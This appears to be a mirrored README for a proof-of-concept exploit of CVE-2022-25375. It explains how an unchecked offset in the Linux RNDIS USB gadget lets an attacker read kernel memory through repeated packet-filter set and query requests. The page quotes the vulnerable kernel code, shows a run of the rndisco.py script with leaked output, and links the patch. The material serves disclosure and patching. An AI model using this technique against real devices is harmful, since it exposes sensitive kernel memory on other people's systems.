Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-25375 PoC — Linux kernel 安全漏洞

Source
Associated Vulnerability
Title:Linux kernel 安全漏洞 (CVE-2022-25375)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.16.10之前版本存在安全漏洞,该漏洞源于RNDIS USB缺乏对RNDIS MSG SET命令大小的验证。攻击者可利用该漏洞可以从内核内存中获取敏感信息。
Description
CVE-2022-25375 - Demo exploit of RNDIS USB Gadget
Readme
# RNDIS-CO

## Summary

The RNDIS USB Gadget may be exploited to dump contents
of kernel memory space via packet filter update mechanism.

## Description

The RNDIS_MSG_SET usb control transfer request handler - rndis_set_response
calls gen_ndis_set_resp passing a buffer pointer offset by BufOffset + 8.
The BufOffset variable is retrieved from the RNDIS message and not validated
to respect buffer boundaries. Consequently by manipulating the four byte
InformationBufferOffset member of rndis_set_msg_type an attacker may offset
the actual buffer by up to 0xffffffff bytes.

rndis.c - rndis_msg_parser
```
	case RNDIS_MSG_QUERY:
		return rndis_query_response(params,
					(rndis_query_msg_type *)buf);

	case RNDIS_MSG_SET:
		return rndis_set_response(params, (rndis_set_msg_type *)buf);
```

rndis.c - rndis_set_response
```
 static int rndis_set_response(struct rndis_params *params,
			      rndis_set_msg_type *buf)
{
	u32 BufLength, BufOffset;
	rndis_set_cmplt_type *resp;
	rndis_resp_t *r;

	r = rndis_add_response(params, sizeof(rndis_set_cmplt_type));
	if (!r)
		return -ENOMEM;
	resp = (rndis_set_cmplt_type *)r->buf;

	BufLength = le32_to_cpu(buf->InformationBufferLength);
	BufOffset = le32_to_cpu(buf->InformationBufferOffset);

#ifdef	VERBOSE_DEBUG
	pr_debug("%s: Length: %d\n", __func__, BufLength);
	pr_debug("%s: Offset: %d\n", __func__, BufOffset);
	pr_debug("%s: InfoBuffer: ", __func__);

	for (i = 0; i < BufLength; i++) {
		pr_debug("%02x ", *(((u8 *) buf) + i + 8 + BufOffset));
	}

	pr_debug("\n");
#endif

	resp->MessageType = cpu_to_le32(RNDIS_MSG_SET_C);
	resp->MessageLength = cpu_to_le32(16);
	resp->RequestID = buf->RequestID; /* Still LE in msg buffer */
	if (gen_ndis_set_resp(params, le32_to_cpu(buf->OID),
			((u8 *)buf) + 8 + BufOffset, BufLength, r))
		resp->Status = cpu_to_le32(RNDIS_STATUS_NOT_SUPPORTED);
	else
		resp->Status = cpu_to_le32(RNDIS_STATUS_SUCCESS);

	params->resp_avail(params->v);
	return 0;
}
```

Next the code responsible for handling RNDIS_OID_GEN_CURRENT_PACKET_FILTER
OID sets the current packet filter to the value pointed by the buf pointer.
With the offset applied this allows one to retrieve two bytes at a specified
address and store the value in the packet filter.

rndis.c - gen_ndis_set_resp
```
	switch (OID) {
	case RNDIS_OID_GEN_CURRENT_PACKET_FILTER:

		/* these NDIS_PACKET_TYPE_* bitflags are shared with
		 * cdc_filter; it's not RNDIS-specific
		 * NDIS_PACKET_TYPE_x == USB_CDC_PACKET_TYPE_x for x in:
		 *	PROMISCUOUS, DIRECTED,
		 *	MULTICAST, ALL_MULTICAST, BROADCAST
		 */
		*params->filter = (u16)get_unaligned_le32(buf);
		pr_debug("%s: RNDIS_OID_GEN_CURRENT_PACKET_FILTER %08x\n",
			__func__, *params->filter);
```

Further step is to retrieve the packet filter value by utilizing a combination
of USB_CDC_SEND_ENCAPSULATED_COMMAND with RNDIS_MSG_QUERY for the
RNDIS_OID_GEN_CURRENT_PACKET_FILTER OID and USB_CDC_GET_ENCAPSULATED_RESPONSE
control transfer requests.

Repeating the set/get packet filter with incremented InformationBufferOffset
in the RNDIS request allows extraction of up to 0xffffffff bytes of kernel
space memory by two bytes at a time. For large amounts of data the process is
rather slow but still effective.

```
 $ sudo python3 rndisco.py -v 0x1b67 -p 0x400c -l 0x3fffc > /tmp/rpi_rndis.dmp
 strings /tmp/rpi_rndis.dmp -n8 | tail -n 6
 stp_proto_unregister
 <30>Jan 27 14:39:48 dhcpcd[486]: usb0: IAID be:53:70:24
 <30>Jan 27 14:39:46 dhcpcd[486]: usb0: IAID be:53:70:24
 <30>Jan 27 14:39:46 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
 <30>Jan 27 14:39:40 dhcpcd[486]: usb0: carrier lost
 <30>Jan 27 14:39:48 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
```

## Impact

Linux devices exposing USB RNDIS gadgets may be exploited to extract sensitive information.

## CVE

[CVE-2022-25375](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25375)

## Patch

- [usb: gadget: rndis: check size of RNDIS_MSG_SET command](https://github.com/torvalds/linux/commit/38ea1eac7d88072bbffb630e2b3db83ca649b826)
- [ChangeLog-5.16.10](https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.16.10)
File Snapshot

[4.0K] /data/pocs/d57bc6577a757317d12222271847d5debf605335 ├── [ 34K] LICENSE ├── [4.0K] README.md └── [4.1K] rndisco.py 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.